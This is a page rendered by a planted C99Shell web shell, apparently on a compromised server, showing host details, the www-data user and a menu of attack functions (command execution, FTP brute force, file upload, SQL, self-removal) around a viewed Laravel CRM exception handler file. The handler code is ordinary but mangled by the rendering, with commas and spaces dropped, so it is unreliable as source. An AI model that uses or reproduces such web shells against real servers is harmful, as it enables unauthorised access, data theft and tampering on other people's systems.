!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Exceptions/   drwxrwxrwx
Free 13.06 GB of 57.97 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Handler.php (3.29 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Exceptions;

use 
App\Exceptions\Handler as AppExceptionHandler;
use 
Illuminate\Auth\AuthenticationException;
use 
Illuminate\Container\Container;
use 
Illuminate\Database\Eloquent\ModelNotFoundException;
use 
Illuminate\Validation\ValidationException;
use 
PDOException;
use 
Symfony\Component\HttpKernel\Exception\HttpException;
use 
Throwable;

class 
Handler extends AppExceptionHandler
{
    
/**
     * Json error messages.
     *
     * @var array
     */
    
protected $jsonErrorMessages = [];

    
/**
     * Create handler instance.
     *
     * @return void
     */
    
public function __construct(Container $container)
    {
        
parent::__construct($container);

        
$this->jsonErrorMessages = [
            
'404' => trans('admin::app.common.resource-not-found'),
            
'403' => trans('admin::app.common.forbidden-error'),
            
'401' => trans('admin::app.common.unauthenticated'),
            
'500' => trans('admin::app.common.internal-server-error'),
        ];
    }

    
/**
     * Render an exception into an HTTP response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function render($requestThrowable $exception)
    {
        if (! 
config('app.debug')) {
            return 
$this->renderCustomResponse($exception);
        }

        return 
parent::render($request$exception);
    }

    
/**
     * Convert an authentication exception into a response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
protected function unauthenticated($requestAuthenticationException $exception)
    {
        if (
$request->expectsJson()) {
            return 
response()->json(['message' => $this->jsonErrorMessages[401]], 401);
        }

        return 
redirect()->guest(route('customer.session.index'));
    }

    
/**
     * Render custom HTTP response.
     *
     * @return \Illuminate\Http\Response|null
     */
    
private function renderCustomResponse(Throwable $exception)
    {
        if (
$exception instanceof HttpException) {
            
$statusCode in_array($exception->getStatusCode(), [401403404503])
                ? 
$exception->getStatusCode()
                : 
500;

            return 
$this->response($statusCode);
        }

        if (
$exception instanceof ValidationException) {
            return 
parent::render(request(), $exception);
        }

        if (
$exception instanceof ModelNotFoundException) {
            return 
$this->response(404);
        } elseif (
$exception instanceof PDOException || $exception instanceof \ParseError) {
            return 
$this->response(500);
        } else {
            return 
$this->response(500);
        }
    }

    
/**
     * Return custom response.
     *
     * @param  string  $path
     * @param  string  $errorCode
     * @return mixed
     */
    
private function response($errorCode)
    {
        if (
request()->expectsJson()) {
            return 
response()->json([
                
'message' => isset($this->jsonErrorMessages[$errorCode])
                    ? 
$this->jsonErrorMessages[$errorCode]
                    : 
trans('admin::app.common.something-went-wrong'),
            ], 
$errorCode);
        }

        return 
response()->view('admin::errors.index'compact('errorCode'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--